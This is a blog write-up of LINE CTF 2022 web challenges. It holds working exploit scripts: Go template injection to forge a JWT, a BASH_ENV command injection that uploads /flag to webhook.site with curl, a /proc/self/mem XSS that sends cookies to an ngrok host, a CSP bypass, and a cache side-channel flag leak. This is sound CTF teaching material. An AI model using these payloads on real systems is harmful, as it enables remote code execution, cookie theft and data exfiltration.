LINE CTF 2022 Writeups

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

Solved a few web challenges from LINE CTF in Goburin'. Since there were some interesting client-side challenges, I wrote this post to document some solutions.

gotm

A golang service that provides register and login, using JWT for authentication. The goal is to sign an admin's JWT to get the flag.

The key part of the challenge is here:

type Account struct {
	id         string
	pw         string
	is_admin   bool
	secret_key string
}

// omitted...

func root_handler(w http.ResponseWriter, r *http.Request) {
	token := r.Header.Get("X-Token")
	if token != "" {
		id, _ := jwt_decode(token)
		fmt.Println(id)
		acc := get_account(id)
		fmt.Println(acc)
		tpl, err := template.New("").Parse("Logged in as " + acc.id)
		if err != nil {
		}
		tpl.Execute(w, &acc)
	} else {

		return
	}
}

Where acc.id is the registered username, which is user-controllable, so there is SSTI. Since acc has secret_key, you can use {{.}} to leak it, then sign your own token with JWT.

curl 'http://34.146.226.125/regist' --data 'id={{.}}&pw=asd'
curl 'http://34.146.226.125/auth' --data 'id={{.}}&pw=asd'
curl 'http://34.146.226.125/' -H 'X-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.rthp4OaE1Iau8Q9PIxoB-F9VGukYpbX1I-GpPPDSGhM'
# secret_key: fasdf972u1031xu90zm10Av
curl 'http://34.146.226.125/' -H 'X-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6InBla28iLCJpc19hZG1pbiI6dHJ1ZSwiaWF0IjoxNjQ4MzE1NDMxfQ.CBzvISXJXsSScg8pvb0okNUKolceJabxYoD9hrSdRmU'
# LINECTF{country_roads_takes_me_home}

bb

<?php
    error_reporting(0);

    function bye($s, $ptn){
        if(preg_match($ptn, $s)){
            return false;
        }
        return true;
    }

    foreach($_GET["env"] as $k=>$v){
        if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
            putenv("{$k}={$v}");
        }
    }
    system("bash -c 'imdude'");
    
    foreach($_GET["env"] as $k=>$v){
        if(bye($k, "/=/i")) {
            putenv("{$k}");
        }
    }
    highlight_file(__FILE__);
?>

It sets environment variables from the env[k]=v parameter and then executes bash. The goal is to achieve RCE to read /flag.

This challenge reminded me of a tweet (and the linked article) I saw recently, which introduced some methods to achieve bash RCE when only environment variables are controllable. (If file upload is allowed, there's LD_PRELOAD)

There are mainly two methods:

BASH_ENV='$(id 1>&2)' bash -c 'echo hello'
env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'

For some unknown reason, BASH_FUNC_imdude failed in my Docker environment tests, but it worked locally with php -S, so I used the BASH_ENV route.

After injection, you need to bypass the filter that disallows English letters. This can be done using octal encoding like $'\151\144' ($'id').

Since some encoding is required, I wrote a script to generate the payload more conveniently:

from urllib.parse import quote_plus

cmd = b"curl https://webhook.site/62cc2e32-cce1-49de-9528-a11a4476d9e5 -F flag=@/flag"
parts = cmd.split(b' ')
cmd = ["$'"+''.join([f'\\{x:03o}' for x in p])+"'" for p in parts]
cmd = ' '.join(cmd)

payload = "$(%s)" % cmd
print(payload)
print(quote_plus(payload))
# LINECTF{well..what_do_you_think_about}

The generated URL is:

http://34.84.151.109/?env[BASH_ENV]=%24%28%24%27%5C143%5C165%5C162%5C154%27+%24%27%5C150%5C164%5C164%5C160%5C163%5C072%5C057%5C057%5C167%5C145%5C142%5C150%5C157%5C157%5C153%5C056%5C163%5C151%5C164%5C145%5C057%5C066%5C062%5C143%5C143%5C062%5C145%5C063%5C062%5C055%5C143%5C143%5C145%5C061%5C055%5C064%5C071%5C144%5C145%5C055%5C071%5C065%5C062%5C070%5C055%5C141%5C061%5C061%5C141%5C064%5C064%5C067%5C066%5C144%5C071%5C145%5C065%27+%24%27%5C055%5C106%27+%24%27%5C146%5C154%5C141%5C147%5C075%5C100%5C057%5C146%5C154%5C141%5C147%27%29

online library

This challenge has a node.js service, and the goal is to use XSS to get the bot's cookie. The bot only accepts any path on the service, not external URLs.

The key part of this challenge is here:

app.get("/:t/:s/:e", (req: Express.Request, res: Express.Response): void => {
    const s: number = Number(req.params.s)
    const e: number = Number(req.params.e)
    const t: string = req.params.t

    if ((/[\x00-\x1f]|\x7f|\<|\>/).test(t)) {
        res.end("Invalid character in book title.")
    } else  {
        Fs.stat(`public/${t}`, (err: NodeJS.ErrnoException, stats: Fs.Stats): void => {
            if (err) {
                res.end("No such a book in bookself.")
            } else {
                if (s !== NaN && e !== NaN && s < e) {
                    if ((e - s) > (1024 * 256)) {
                        res.end("Too large to read.")
                    } else {
                        Fs.open(`public/${t}`, "r", (err: NodeJS.ErrnoException, fd: any): void => {
                            if (err || typeof fd !== "number") {
                                res.end("Invalid argument.")
                            } else {
                                let buf: Buffer = Buffer.alloc(e - s);
                                Fs.read(fd, buf, 0, (e - s), s, (err: NodeJS.ErrnoException, bytesRead: number, buf: Buffer): void => {
                                    res.end(`<h1>${t}</h1><hr/>` + buf.toString("utf-8"))
                                })
                            }
                        })
                    }
                } else {
                    res.end("There isn't size of book.")
                }
            }
        })
    }
});

This is a route that allows specifying the filename and the start and end positions to read the file.

There is an obvious path traversal vulnerability that allows arbitrary file reading, such as /..%2f..%2fproc%2fself%2fenviron/0/1024 to read environment variables. To achieve XSS, you need to find a file in the file system that contains the payload.

This challenge uses express-session to handle sessions, but it defaults to using memory store as the session store, so no files are left in the file system. Additionally, there are no services like nginx or apache in this container that could be used for LFI (e.g., PHP LFI with Nginx Assistance).

My approach was to use /proc/self/mem, which represents the current node process's memory, meaning the payload must exist at some offset. Using /proc/self/maps, you can get the current memory pages, and it's reasonable to assume that variables exist in the v8 heap, which is likely an rw page. By filtering and attempting to read the contents of each page to see if the payload is hidden, you can get a URL with XSS.

To increase the success rate, you can use the POST /identify route, which has a total.push(req.body.username), where total is a global array that is periodically cleared. By putting the payload into total, the chance of it being garbage collected before finding the target page is lower.

Additionally, there is a custom captcha to handle when submitting XSS, but since it is drawn directly on canvas with clean and neat fonts, it can be solved using pytesseract.

import requests
import os
import pytesseract
from PIL import Image
from urllib.request import urlopen
import io

# baseurl = "http://localhost:10100"
baseurl = "http://35.243.100.112"


def build_url(path: str, start, end) -> str:
    return baseurl + "/" + path.replace("/", "%2f") + f"/{start}/{end}"


def read_file(path: str, start=0, end=1024 * 256) -> bytes:
    return requests.get(build_url(path, start, end)).content.split(b"<hr/>")[1]


def parse_maps(maps: str):
    ar = []
    for line in maps.strip("\0\r\n ").splitlines():
        mem, perm, *_ = line.split(" ")
        start, end = [int(x, 16) for x in mem.split("-")]
        ar.append((start, end, perm))
    return ar


def read_mem(start, end, bs=1024 * 256):
    if (end - start) // bs > 5:
        # too big, ignore
        return b""
    ret = b""
    for i in range(start, end, bs):
        s = i
        e = min(i + bs, end)
        ret += read_file("../../proc/self/mem", s, e)
    return ret


def get_sess():
    sess = requests.Session()
    username = "<script>new Image().src='https://9295-8-39-126-53.ngrok.io?'+document.cookie</script>"
    username += os.urandom(128).hex()[: (99 - len(username))]
    j = sess.post(baseurl + "/identify", data={"username": username}).json()
    assert not j["error"]
    return username, sess


def get_captcha(sess):
    imgb64 = sess.get(baseurl + "/report").text.split('<img src="')[1].split('"/>')[0]
    resp = urlopen(imgb64)
    img = Image.open(io.BytesIO(resp.file.read()))
    captcha = pytesseract.image_to_string(img).strip()
    return captcha


def report_path(sess, path):
    resp = sess.post(
        baseurl + "/report", {"captcha": get_captcha(sess), "url": url[len(baseurl) :]}
    ).json()
    if resp["error"]:
        return report_path(sess, path)
    return resp


selfmaps = read_file("../../proc/self/maps").decode()
rw_pages = [(s, e) for s, e, p in parse_maps(selfmaps) if "rw" in p]
print(rw_pages)

username, sess = get_sess()
for i, page in enumerate(rw_pages):
    print(i)
    mem = read_mem(*page)
    if username.encode() in mem:
        print("found", page)
        url = build_url("../../proc/self/mem", *page)
        print(url)
        print(report_path(sess, url[len(baseurl) :]))

# LINECTF{705db4df0537ed5e7f8b6a2044c4b5839f4ebfa4}

Haribote Secure Note

This challenge is a flask note service, and the goal is also to use XSS to get the bot's cookie.

You can see that the template filenames all end with .j2. Although it's also a Jinja2 template, you'll quickly find that it doesn't escape HTML. This is because flask only escapes HTML/XML/XHTML by default, so there are many injection points.

However, the challenge is that its CSP is as follows:

default-src 'self'; style-src 'unsafe-inline'; object-src 'none'; base-uri 'none'; script-src 'nonce-{{ csp_nonce }}'
    'unsafe-inline'; require-trusted-types-for 'script'; trusted-types default

Inline scripts require a nonce, otherwise, you need trusted types:

    <script nonce="{{ csp_nonce }}">
        (() => {
            trustedTypes.createPolicy("default", {
                createHTML(unsafe) {
                    return unsafe
                        .replace(/&/g, "&amp;")
                        .replace(/</g, "&lt;")
                        .replace(/>/g, "&gt;")
                        .replace(/"/g, "&quot;")
                        .replace(/"/g, "&#039;")
                }
            });
        })();
    </script>

This is difficult to bypass because all innerHTML assignments are blocked by this filter.

One key point of the challenge is that there is a display name that can be freely set, with a length limit of 16. It will be placed in shared_user_name here:

        <script nonce="{{ csp_nonce }}">
            const printInfo = () => {
                const sharedUserId = "{{ shared_user_id }}";
                const sharedUserName = "{{ shared_user_name }}";

                const div = document.createElement('div');
                div.classList.add('alert')
                div.classList.add('alert-warning')
                div.innerHTML = [
                    `[debug:${new Date().toISOString()}]`,
                    `UserId="${sharedUserId}"`,
                    `DisplayName="${sharedUserName}"`
                ].join(' ');
                const sharedUserInfo = document.getElementById('sharedUserInfo');
                sharedUserInfo.replaceChildren(div);
            }

            const printInfoBtn = document.getElementById('printInfoBtn');
            printInfoBtn.addEventListener('click', printInfo);
        </script>

Using "+alert(1)+" can achieve a very short XSS, but due to CSP, methods related to eval cannot be used.

PS: The bot will click #printInfoBtn

Another place is here:

    <script nonce="{{ csp_nonce }}">
        const render = notes => {
            const noteArea = document.getElementById("notes");

            notes.sort((a, b) => Date.parse(a.createdAt) - Date.parse(b.createdAt));
            for (const note of notes) {
                const noteDiv = document.createElement("div");
                noteDiv.classList.add("p-2")
                noteDiv.classList.add("bg-light")
                noteDiv.classList.add("border")

                const title = document.createElement("h2");
                title.innerHTML = note.title;
                noteDiv.appendChild(title);

                const content = document.createElement("p");
                content.innerHTML = note.content;
                noteDiv.appendChild(content);

                const createdAt = document.createElement("time");
                createdAt.innerHTML = `Created at: ${note.createdAt}`;
                noteDiv.appendChild(createdAt)

                noteArea.appendChild(noteDiv);
            }
        };
        render({{ notes }})
    </script>

The notes is a python array, which will be directly converted to a string by Jinja2 using str or repr. Since both python and javascript can use single quotes to enclose strings, it's not a problem.

Obviously, if your note's title or content contains </script>, you can break out of the script tag and inject arbitrary HTML.

My approach used a bypass mentioned in this post, which is to use import('data:text/javascript,alert(1)') in a script tag with a nonce to execute it.

Therefore, the method is clear: put "+import(y)+" in the display name, and use <a> dom clobbering to place the payload. Since the title and content have length limits of 64 and 128 respectively, I used another <a> to store the URL.

Complete payload:

display name:
"+import(y)+"

title:
</script><a id=x href="//SERVER"></a>

content:
<a id=y href="data:text/javascript,open(x+`?`+document.cookie);alert()"></a>

# LINECTF{0n1y_u51ng_m0d3rn_d3fen5e_m3ch4n15m5_i5_n0t_3n0ugh_t0_0bt41n_c0mp13te_s3cur17y}

There are also some different approaches to this challenge. One can be seen in this post, which uses a combination of javascript and HTML comments to enter the script data double escaped state, successfully placing the JS payload in the content.

Another approach similar to my idea is to inject <iframe src=/p name=f></iframe>, and use dom clobbering to place the payload. The display name injection code is f.eval(p). Since the CSP is set using an HTML meta tag, non-existent pages don't have CSP, allowing eval.

The title ハリボテ (Haribote) roughly translates to "paper tiger" in Chinese. After solving it, it indeed felt like it had many protections, but in reality, it was just a paper tiger.

title todo

This challenge is another flask service with an XSS bot. The flag format is LINECTF{([0-9a-f]/){10}}, which suggests a side channel attack.

The challenge allows you to upload images and specify a title, then share the generated page with the admin. The CSP is very strict, and I couldn't find a way to bypass it.

The first vulnerability is in image.html:

<img src={{ image.url }} class="mb-3">

Since the src is not quoted, you can inject other attributes, but due to CSP, there's no XSS or CSS injection.

The code for uploading and adding pages is as follows:

@app.route('/image/upload', methods=['POST'])
@login_required
def upload_image():
    img_file = request.files['img_file']
    if img_file:
        ext = os.path.splitext(img_file.filename)[1]
        if ext in ['.jpg', '.png']:
            filename = uuid4().hex + ext

            img_path = os.path.join(app.config.get('UPLOAD_FOLDER'), filename)
            img_file.save(img_path)

            return jsonify({'img_url': f'/static/image/{filename}'}), 200

    return jsonify({}), 400


@app.route('/image', methods=['GET', 'POST'])
@login_required
def create_image():
    if request.method == 'POST':
        title = request.form.get('title')
        img_url = request.form.get('img_url')
        
        if title and img_url:
            if not img_url.startswith('/static/image/'):
                flash('Image creation failed')
                return redirect(url_for('create_image'))

            image = Image(title=title, url=img_url, owner=current_user)
            db.session.add(image)
            db.session.commit()
            res = redirect(url_for('index'))
            res.headers['X-ImageId'] = image.id
            return res
        return redirect(url_for('create_image'))

    elif request.method == 'GET':
        return render_template('create_image.html')

You can see it's a two-step upload process. After POST /image/upload, you get the uploaded path, and then POST /image provides img_url. Since it only checks the beginning, you can inject attributes by adding spaces.

Another important key is in the nginx.conf:

        location /static {
            uwsgi_cache one;
            uwsgi_cache_valid 200 5m;
            uwsgi_ignore_headers X-Accel-Redirect X-Accel-Expires Cache-Control Expires Vary;
            
            include uwsgi_params;
            uwsgi_pass app;

            add_header X-Cache-Status $upstream_cache_status;
        }

It caches paths under /static for five minutes, and the cache status is in the X-Cache-Status header.

When the admin views the page, the flag appears in the footer:

        <footer class="footer">
            {% if current_user.is_admin %}
            {{ config.get('FLAG') }}
            {% endif %}
        </footer>

My approach used Scroll to Text Fragment, which places #:~:text=something in the hash, causing the browser to scroll to the target text if it exists.

A common method is to combine it with the <img> loading="lazy" attribute, which only sends a request to load the image when it enters the viewport. By placing a very long title and using attribute injection to make it lazy load the image, the browser won't send a request to /static/???.jpg by default.

However, since the flag is in the footer, if #:~:text=LINECTF{ matches, it will scroll to the bottom, causing the <img> to enter the viewport and send a request to /static/???.jpg. With X-Cache-Status, you can determine if the image was loaded based on whether it's HIT or MISS, indicating if the flag prefix matched and scrolled to the bottom.

This provides an oracle to determine the flag prefix, allowing you to brute force the entire flag.

import httpx
import time
import asyncio

with open("white.jpg", "rb") as f:
    white_jpg = f.read()


async def upload(client: httpx.Client, name: str, data: bytes) -> str:
    resp = await client.post("/image/upload", files={"img_file": (name, data)})
    return resp.json()["img_url"]


async def create_image(client: httpx.Client, title: str, img_url: str) -> str:
    resp = await client.post(
        "/image", data={"title": title, "img_url": img_url}, allow_redirects=False
    )
    return resp.headers.get("X-ImageId")


async def share(client: httpx.Client, path: str):
    await client.post("/share", json={"path": path})


async def check_cached(client: httpx.Client, path: str) -> bool:
    return (await client.get(path)).headers["X-Cache-Status"] == "HIT"


async def check_flag_prefix(client: httpx.Client, prefix: str) -> bool:
    img_path = await upload(client, "white.jpg", white_jpg)
    img_id = await create_image(client, b"x" * 2048, img_path + " loading=lazy")
    await share(client, f"image/{img_id}#:~:text={prefix}")
    await asyncio.sleep(1)
    return await check_cached(client, img_path)


async def main():
    # base_url = "http://localhost"
    base_url = "http://35.187.204.223"
    async with httpx.AsyncClient(base_url=base_url) as client:
        await client.post(
            "/login", data={"username": "supernene", "password": "supernene"}
        )
        # Can't use asyncio.gather because bot is sequential QAQ
        flag = "LINECTF{"
        while True:
            cands = [f"{flag}{i:x}/" for i in range(16)]
            for cand in cands:
                if await check_flag_prefix(client, cand):
                    flag = cand
                    break
            else:
                flag += "}"
                break
            print(flag)
        print(flag)
        # LINECTF{0/5/d/b/a/e/e/7/c/c/}


asyncio.run(main())

The flag includes / because Chromium only matches whole words, making it easier to avoid this side channel.